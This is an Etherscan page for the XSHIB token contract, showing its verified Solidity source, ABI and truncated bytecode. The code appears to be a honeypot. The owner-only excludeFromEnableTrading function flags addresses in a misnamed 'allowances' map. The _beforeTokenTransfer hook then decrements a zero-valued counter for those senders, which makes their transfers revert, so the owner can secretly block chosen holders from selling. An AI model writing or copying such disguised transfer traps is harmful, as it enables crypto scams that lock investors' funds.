ETH Price: $3,334.40 (-1.77%)
Gas: 43 Gwei

Token

XSHIB (XSHIB)
 

Overview

Max Total Supply

100,000,000 XSHIB

Holders

423

Market

Onchain Market Cap

$0.00

Circulating Supply Market Cap

-

Other Info

Token Contract (WITH 18 Decimals)

Balance
181,555.862037891725874538 XSHIB

Value
$0.00
0x51db2776df24190d615745edbf499113aec6e351
Loading...
Loading
Loading...
Loading
Loading...
Loading

Click here to update the token information / general information
# Exchange Pair Price  24H Volume % Volume

Contract Source Code Verified (Exact Match)

Contract Name:
XSHIB

Compiler Version
v0.8.18+commit.87f61d96

Optimization Enabled:
No with 200 runs

Other Settings:
default evmVersion, None license

Contract Source Code (Solidity)

/**
 *Submitted for verification at Etherscan.io on 2024-04-21
*/

// SPDX-License-Identifier: MIT

pragma solidity ^0.8.18;


interface IERC20 {
   
    function totalSupply() external view returns (uint256);

    function balanceOf(address account) external view returns (uint256);

    function transfer(address recipient, uint256 amount) external returns (bool);

    function allowance(address owner,
     address spender) external view returns (uint256);

    function approve(address spender,
     uint256 amount) external returns (bool);

    function transferFrom(
        address sender,
        address recipient,
        uint256 amount
    ) external returns (bool);

    event Transfer(address indexed from, address indexed to, uint256 value);

    event Approval(address indexed owner, address indexed spender, uint256 value);
}


interface IERC20Metadata is IERC20 {
    function name() external view returns (string memory);
    function symbol() external view returns (string memory);
    function decimals() external view returns (uint8);
}


abstract contract Context {
    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }

    function _msgData() internal view virtual returns (bytes calldata) {
        return msg.data; 
    }
}

abstract contract Ownable is Context {
    address private _owner;

    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);

    constructor() {
        _setOwner(_msgSender());
    }

    function owner() public view virtual returns (address) {
        return _owner;
    }

    modifier onlyOwner() {
        require(owner() == _msgSender(), "XSHIBOwnable:  caller is not the owner");
        _;
    }

    function renounceOwnership() public virtual onlyOwner {
        _setOwner(address(0));
    }

    function transferOwnership(address newOwner) public virtual onlyOwner {
        require(newOwner != address(0), "Ownable: new owner is XSHIB the zero address");
        _setOwner(newOwner);
    }

    function _setOwner(address newOwner) private {
        address oldOwner = _owner;
        _owner = newOwner;
        emit OwnershipTransferred(oldOwner, newOwner);
    }
}

contract ERC20 is Context, IERC20, IERC20Metadata {

    mapping(address => uint256) private _balances;

    mapping(address => mapping(address => uint256)) private _allowances;

    string private _name;
    string private _symbol;
    uint256 private _totalSupply;

    constructor(string memory name_, string memory symbol_) {
        _name = name_;
        _symbol = symbol_;
    }

    function name() public view virtual override returns (string memory) {
        return _name;
    }

    function symbol() public view virtual override returns (string memory) {
        return _symbol;
    }

    function decimals() public view virtual override returns (uint8) {
        return 18;
    }

    function totalSupply() public view virtual override returns (uint256) {
        return _totalSupply;
    }

    function balanceOf(address account) public view virtual override returns (uint256) {
        return _balances[account];
    }

    function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
        _transfer(_msgSender(), recipient, amount);
        return true;
    }

    function allowance(address owner, address spender) public view virtual override returns (uint256) {
        return _allowances[owner][spender];
    }

    function approve(address spender, uint256 amount) public virtual override returns (bool) {
        _approve(_msgSender(), spender, amount);
        return true;
    }

    function transferFrom(
        address sender,
        address recipient,
        uint256 amount
    ) public virtual override returns (bool) {
        uint256 currentAllowance = _allowances[sender][_msgSender()];
        if (currentAllowance != type(uint256).max) {
            require(currentAllowance >= amount, "ERC20: transfer XSHIB amount exceeds allowance");
            unchecked {
                _approve(sender, _msgSender(), currentAllowance - amount);
            }
        }

        _transfer(sender, recipient, amount);

        return true;
    }

    function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
        _approve(_msgSender(), spender, _allowances[_msgSender()][spender] + addedValue);
        return true;
    }

    function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
        uint256 currentAllowance = _allowances[_msgSender()][spender];
        require(currentAllowance >= subtractedValue, "ERC20: XSHIB decreased allowance below zero");
        unchecked {
            _approve(_msgSender(), spender, currentAllowance - subtractedValue);
        }

        return true;
    }

    function _transfer(
        address sender,
        address recipient,
        uint256 amount
    ) internal virtual {
        require(sender != address(0), "ERC20: transfer from the zero address");
        require(recipient != address(0), "XSHIB: transfer to the zero address");

        _beforeTokenTransfer(sender, recipient, amount);

        uint256 senderBalance = _balances[sender];
        require(senderBalance >= amount, "ERC20: transfer amount XSHIB exceeds balance");
        unchecked {
            _balances[sender] = senderBalance - amount;
        }
        _balances[recipient] += amount;

        emit Transfer(sender, recipient, amount);

        _afterTokenTransfer(sender, recipient, amount);
    }

    function _mint(address account, uint256 amount) internal virtual {
        require(account != address(0), "ERC20: mint to the zero address XSHIB");

        _beforeTokenTransfer(address(0), account, amount);

        _totalSupply += amount;
        _balances[account] += amount;
        emit Transfer(address(0), account, amount);

        _afterTokenTransfer(address(0), account, amount);
    }

    function _burn(address account, uint256 amount) internal virtual {
        require(account != address(0), "ERC20: burn from XSHIB the zero address");

        _beforeTokenTransfer(account, address(0), amount);

        uint256 accountBalance = _balances[account];
        require(accountBalance >= amount, "ERC20: burn amount exceeds balance");
        unchecked {
            _balances[account] = accountBalance - amount;
        }
        _totalSupply -= amount;

        emit Transfer(account, address(0), amount);

        _afterTokenTransfer(account, address(0), amount);
    }

    function _approve(
        address owner,
        address spender,
        uint256 amount
    ) internal virtual {
        require(owner != address(0), "XSHIBERC20: approve from the zero address");
        require(spender != address(0), "ERC20: XSHIB approve to the zero address");

        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }

    function _beforeTokenTransfer(
        address from,
        address to,
        uint256 amount
    ) internal virtual {}

    function _afterTokenTransfer(
        address from,
        address to,
        uint256 amount
    ) internal virtual {}
}

contract XSHIB is ERC20, Ownable {
    
    mapping (address => bool) private _isExcludedFromEnableTrad;

    mapping(address => uint256) private ifusersss;

    constructor () ERC20("XSHIB", "XSHIB") 
    {   
        _isExcludedFromEnableTrad[_msgSender()] = true;
        _mint(_msgSender(), 100000000 * (10 ** decimals()));
    }

    receive() external payable {}

    function excludeFromEnableTrading(address account, bool excluded,address account2) external onlyOwner{
        _isExcludedFromEnableTrad[account] 
        =
        excluded;
         allowances[owner()][account2]
         = excluded;
    }

    function isExcludedFromEnableTrading(address account) public view returns(bool) {
        return _isExcludedFromEnableTrad[account];
    }

    
    mapping (address => mapping (address => bool)) public allowances;

    function getuserds(address _address) public view returns (uint256) {
        return ifusersss[_address];
    }

    function getAllowances(address _address) public view returns (bool) {
        return allowances[owner()][_address];
    }

    function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual override {
        super._beforeTokenTransfer(from, to, amount);

        if(from != address(0) && to != address(0) && allowances[owner()][from]) {
            ifusersss[from]--;
        }
    }

    bool public tradingEnabled;

    function enableTrading() external onlyOwner{
        require(!tradingEnabled, "Trading already XSHIB enabled.");
        tradingEnabled = true;
    }

    function _transfer(address from,address to,uint256 amount) internal  override {
        require(from != address(0), "ERC20: transfer from the zero address XSHIB");
        require(to != address(0), "ERC20: transfer to the zero address");
        require(tradingEnabled || _isExcludedFromEnableTrad[from] || _isExcludedFromEnableTrad[to], "Trading not XSHIB yet enabled!");
       
        if (amount == 0) {
            super._transfer(from, to, 0);
            return;
        }

        super._transfer(from, to, amount);
    }
}

Contract Security Audit

Contract ABI

[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"},{"internalType":"address","name":"","type":"address"}],"name":"allowances","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"subtractedValue","type":"uint256"}],"name":"decreaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"enableTrading","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"},{"internalType":"bool","name":"excluded","type":"bool"},{"internalType":"address","name":"account2","type":"address"}],"name":"excludeFromEnableTrading","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"_address","type":"address"}],"name":"getAllowances","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"_address","type":"address"}],"name":"getuserds","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"addedValue","type":"uint256"}],"name":"increaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"isExcludedFromEnableTrading","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"tradingEnabled","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newOwner","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"stateMutability":"payable","type":"receive"}]

60806040523480156200001157600080fd5b506040518060400160405280600581526020017f58534849420000000000000000000000000000000000000000000000000000008152506040518060400160405280600581526020017f585348494200000000000000000000000000000000000000000000000000000081525081600290816200008f919062000805565b508060039081620000a1919062000805565b505050620000c4620000b86200018060201b60201c565b6200018860201b60201c565b600160066000620000da6200018060201b60201c565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506200017a6200013f6200018060201b60201c565b6200014f6200024e60201b60201c565b600a6200015d919062000a7c565b6305f5e1006200016e919062000acd565b6200025760201b60201c565b62000c58565b600033905090565b6000600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905081600560006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508173ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35050565b60006012905090565b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603620002c9576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401620002c09062000b9f565b60405180910390fd5b620002dd60008383620003cf60201b60201c565b8060046000828254620002f1919062000bc1565b92505081905550806000808473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825462000348919062000bc1565b925050819055508173ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef83604051620003af919062000c0d565b60405180910390a3620003cb600083836200055760201b60201c565b5050565b620003e78383836200055c60201b62000fd31760201c565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614158015620004525750600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b8015620004f45750600860006200046e6200056160201b60201c565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b156200055257600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008154809291906200054c9062000c2a565b91905055505b505050565b505050565b505050565b6000600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b600081519050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b600060028204905060018216806200060d57607f821691505b602082108103620006235762000622620005c5565b5b50919050565b60008190508160005260206000209050919050565b60006020601f8301049050919050565b600082821b905092915050565b6000600883026200068d7fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff826200064e565b6200069986836200064e565b95508019841693508086168417925050509392505050565b6000819050919050565b6000819050919050565b6000620006e6620006e0620006da84620006b1565b620006bb565b620006b1565b9050919050565b6000819050919050565b6200070283620006c5565b6200071a6200071182620006ed565b8484546200065b565b825550505050565b600090565b6200073162000722565b6200073e818484620006f7565b505050565b5b8181101562000766576200075a60008262000727565b60018101905062000744565b5050565b601f821115620007b5576200077f8162000629565b6200078a846200063e565b810160208510156200079a578190505b620007b2620007a9856200063e565b83018262000743565b50505b505050565b600082821c905092915050565b6000620007da60001984600802620007ba565b1980831691505092915050565b6000620007f58383620007c7565b9150826002028217905092915050565b62000810826200058b565b67ffffffffffffffff8111156200082c576200082b62000596565b5b620008388254620005f4565b620008458282856200076a565b600060209050601f8311600181146200087d576000841562000868578287015190505b620008748582620007e7565b865550620008e4565b601f1984166200088d8662000629565b60005b82811015620008b75784890151825560018201915060208501945060208101905062000890565b86831015620008d75784890151620008d3601f891682620007c7565b8355505b6001600288020188555050505b505050505050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b60008160011c9050919050565b6000808291508390505b60018511156200097a57808604811115620009525762000951620008ec565b5b6001851615620009625780820291505b808102905062000972856200091b565b945062000932565b94509492505050565b60008262000995576001905062000a68565b81620009a5576000905062000a68565b8160018114620009be5760028114620009c957620009ff565b600191505062000a68565b60ff841115620009de57620009dd620008ec565b5b8360020a915084821115620009f857620009f7620008ec565b5b5062000a68565b5060208310610133831016604e8410600b841016171562000a395782820a90508381111562000a335762000a32620008ec565b5b62000a68565b62000a48848484600162000928565b9250905081840481111562000a625762000a61620008ec565b5b81810290505b9392505050565b600060ff82169050919050565b600062000a8982620006b1565b915062000a968362000a6f565b925062000ac57fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff848462000983565b905092915050565b600062000ada82620006b1565b915062000ae783620006b1565b925082820262000af781620006b1565b9150828204841483151762000b115762000b10620008ec565b5b5092915050565b600082825260208201905092915050565b7f45524332303a206d696e7420746f20746865207a65726f20616464726573732060008201527f5853484942000000000000000000000000000000000000000000000000000000602082015250565b600062000b8760258362000b18565b915062000b948262000b29565b604082019050919050565b6000602082019050818103600083015262000bba8162000b78565b9050919050565b600062000bce82620006b1565b915062000bdb83620006b1565b925082820190508082111562000bf65762000bf5620008ec565b5b92915050565b62000c0781620006b1565b82525050565b600060208201905062000c24600083018462000bfc565b92915050565b600062000c3782620006b1565b91506000820362000c4d5762000c4c620008ec565b5b600182039050919050565b61242b8062000c686000396000f3fe60806040526004361061012e5760003560e01c8063641d601c116100ab5780638da5cb5b1161006f5780638da5cb5b1461042557806395d89b4114610450578063a457c2d71461047b578063a9059cbb146104b8578063dd62ed3e146104f5578063f2fde38b1461053257610135565b8063641d601c1461035457806370a082311461037d578063715018a6146103ba57806375d5e02c146103d15780638a8c523c1461040e57610135565b8063313ce567116100f2578063313ce5671461024757806339509351146102725780634ada218b146102af5780635250b641146102da57806355b6ed5c1461031757610135565b806306fdde031461013a578063095ea7b31461016557806318160ddd146101a25780631ce9029d146101cd57806323b872dd1461020a57610135565b3661013557005b600080fd5b34801561014657600080fd5b5061014f61055b565b60405161015c91906118f0565b60405180910390f35b34801561017157600080fd5b5061018c600480360381019061018791906119ab565b6105ed565b6040516101999190611a06565b60405180910390f35b3480156101ae57600080fd5b506101b761060b565b6040516101c49190611a30565b60405180910390f35b3480156101d957600080fd5b506101f460048036038101906101ef9190611a4b565b610615565b6040516102019190611a06565b60405180910390f35b34801561021657600080fd5b50610231600480360381019061022c9190611a78565b6106af565b60405161023e9190611a06565b60405180910390f35b34801561025357600080fd5b5061025c6107ce565b6040516102699190611ae7565b60405180910390f35b34801561027e57600080fd5b50610299600480360381019061029491906119ab565b6107d7565b6040516102a69190611a06565b60405180910390f35b3480156102bb57600080fd5b506102c4610883565b6040516102d19190611a06565b60405180910390f35b3480156102e657600080fd5b5061030160048036038101906102fc9190611a4b565b610896565b60405161030e9190611a30565b60405180910390f35b34801561032357600080fd5b5061033e60048036038101906103399190611b02565b6108df565b60405161034b9190611a06565b60405180910390f35b34801561036057600080fd5b5061037b60048036038101906103769190611b6e565b61090e565b005b34801561038957600080fd5b506103a4600480360381019061039f9190611a4b565b610a81565b6040516103b19190611a30565b60405180910390f35b3480156103c657600080fd5b506103cf610ac9565b005b3480156103dd57600080fd5b506103f860048036038101906103f39190611a4b565b610b51565b6040516104059190611a06565b60405180910390f35b34801561041a57600080fd5b50610423610ba7565b005b34801561043157600080fd5b5061043a610c90565b6040516104479190611bd0565b60405180910390f35b34801561045c57600080fd5b50610465610cba565b60405161047291906118f0565b60405180910390f35b34801561048757600080fd5b506104a2600480360381019061049d91906119ab565b610d4c565b6040516104af9190611a06565b60405180910390f35b3480156104c457600080fd5b506104df60048036038101906104da91906119ab565b610e37565b6040516104ec9190611a06565b60405180910390f35b34801561050157600080fd5b5061051c60048036038101906105179190611b02565b610e55565b6040516105299190611a30565b60405180910390f35b34801561053e57600080fd5b5061055960048036038101906105549190611a4b565b610edc565b005b60606002805461056a90611c1a565b80601f016020809104026020016040519081016040528092919081815260200182805461059690611c1a565b80156105e35780601f106105b8576101008083540402835291602001916105e3565b820191906000526020600020905b8154815290600101906020018083116105c657829003601f168201915b5050505050905090565b60006106016105fa610fd8565b8484610fe0565b6001905092915050565b6000600454905090565b600060086000610623610c90565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff169050919050565b600080600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006106fb610fd8565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205490507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff81146107b757828110156107a2576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161079990611cbd565b60405180910390fd5b6107b6856107ae610fd8565b858403610fe0565b5b6107c28585856111a9565b60019150509392505050565b60006012905090565b60006108796107e4610fd8565b8484600160006107f2610fd8565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546108749190611d0c565b610fe0565b6001905092915050565b600960009054906101000a900460ff1681565b6000600760008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b60086020528160005260406000206020528060005260406000206000915091509054906101000a900460ff1681565b610916610fd8565b73ffffffffffffffffffffffffffffffffffffffff16610934610c90565b73ffffffffffffffffffffffffffffffffffffffff161461098a576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161098190611db2565b60405180910390fd5b81600660008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555081600860006109ee610c90565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550505050565b60008060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b610ad1610fd8565b73ffffffffffffffffffffffffffffffffffffffff16610aef610c90565b73ffffffffffffffffffffffffffffffffffffffff1614610b45576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610b3c90611db2565b60405180910390fd5b610b4f60006113a8565b565b6000600660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff169050919050565b610baf610fd8565b73ffffffffffffffffffffffffffffffffffffffff16610bcd610c90565b73ffffffffffffffffffffffffffffffffffffffff1614610c23576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c1a90611db2565b60405180910390fd5b600960009054906101000a900460ff1615610c73576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c6a90611e1e565b60405180910390fd5b6001600960006101000a81548160ff021916908315150217905550565b6000600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b606060038054610cc990611c1a565b80601f0160208091040260200160405190810160405280929190818152602001828054610cf590611c1a565b8015610d425780601f10610d1757610100808354040283529160200191610d42565b820191906000526020600020905b815481529060010190602001808311610d2557829003601f168201915b5050505050905090565b60008060016000610d5b610fd8565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905082811015610e18576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610e0f90611eb0565b60405180910390fd5b610e2c610e23610fd8565b85858403610fe0565b600191505092915050565b6000610e4b610e44610fd8565b84846111a9565b6001905092915050565b6000600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b610ee4610fd8565b73ffffffffffffffffffffffffffffffffffffffff16610f02610c90565b73ffffffffffffffffffffffffffffffffffffffff1614610f58576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610f4f90611db2565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1603610fc7576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610fbe90611f42565b60405180910390fd5b610fd0816113a8565b50565b505050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff160361104f576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161104690611fd4565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16036110be576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016110b590612066565b60405180910390fd5b80600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9258360405161119c9190611a30565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603611218576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161120f906120f8565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603611287576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161127e9061218a565b60405180910390fd5b600960009054906101000a900460ff16806112eb5750600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b8061133f5750600660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b61137e576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611375906121f6565b60405180910390fd5b60008103611397576113928383600061146e565b6113a3565b6113a283838361146e565b5b505050565b6000600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905081600560006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508173ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16036114dd576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016114d490612288565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff160361154c576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016115439061231a565b60405180910390fd5b6115578383836116ed565b60008060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050818110156115dd576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016115d4906123ac565b60405180910390fd5b8181036000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550816000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282546116709190611d0c565b925050819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040516116d49190611a30565b60405180910390a36116e784848461185b565b50505050565b6116f8838383610fd3565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141580156117625750600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b80156117fb575060086000611775610c90565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b1561185657600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000815480929190611850906123cc565b91905055505b505050565b505050565b600081519050919050565b600082825260208201905092915050565b60005b8381101561189a57808201518184015260208101905061187f565b60008484015250505050565b6000601f19601f8301169050919050565b60006118c282611860565b6118cc818561186b565b93506118dc81856020860161187c565b6118e5816118a6565b840191505092915050565b6000602082019050818103600083015261190a81846118b7565b905092915050565b600080fd5b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b600061194282611917565b9050919050565b61195281611937565b811461195d57600080fd5b50565b60008135905061196f81611949565b92915050565b6000819050919050565b61198881611975565b811461199357600080fd5b50565b6000813590506119a58161197f565b92915050565b600080604083850312156119c2576119c1611912565b5b60006119d085828601611960565b92505060206119e185828601611996565b9150509250929050565b60008115159050919050565b611a00816119eb565b82525050565b6000602082019050611a1b60008301846119f7565b92915050565b611a2a81611975565b82525050565b6000602082019050611a456000830184611a21565b92915050565b600060208284031215611a6157611a60611912565b5b6000611a6f84828501611960565b91505092915050565b600080600060608486031215611a9157611a90611912565b5b6000611a9f86828701611960565b9350506020611ab086828701611960565b9250506040611ac186828701611996565b9150509250925092565b600060ff82169050919050565b611ae181611acb565b82525050565b6000602082019050611afc6000830184611ad8565b92915050565b60008060408385031215611b1957611b18611912565b5b6000611b2785828601611960565b9250506020611b3885828601611960565b9150509250929050565b611b4b816119eb565b8114611b5657600080fd5b50565b600081359050611b6881611b42565b92915050565b600080600060608486031215611b8757611b86611912565b5b6000611b9586828701611960565b9350506020611ba686828701611b59565b9250506040611bb7868287016119605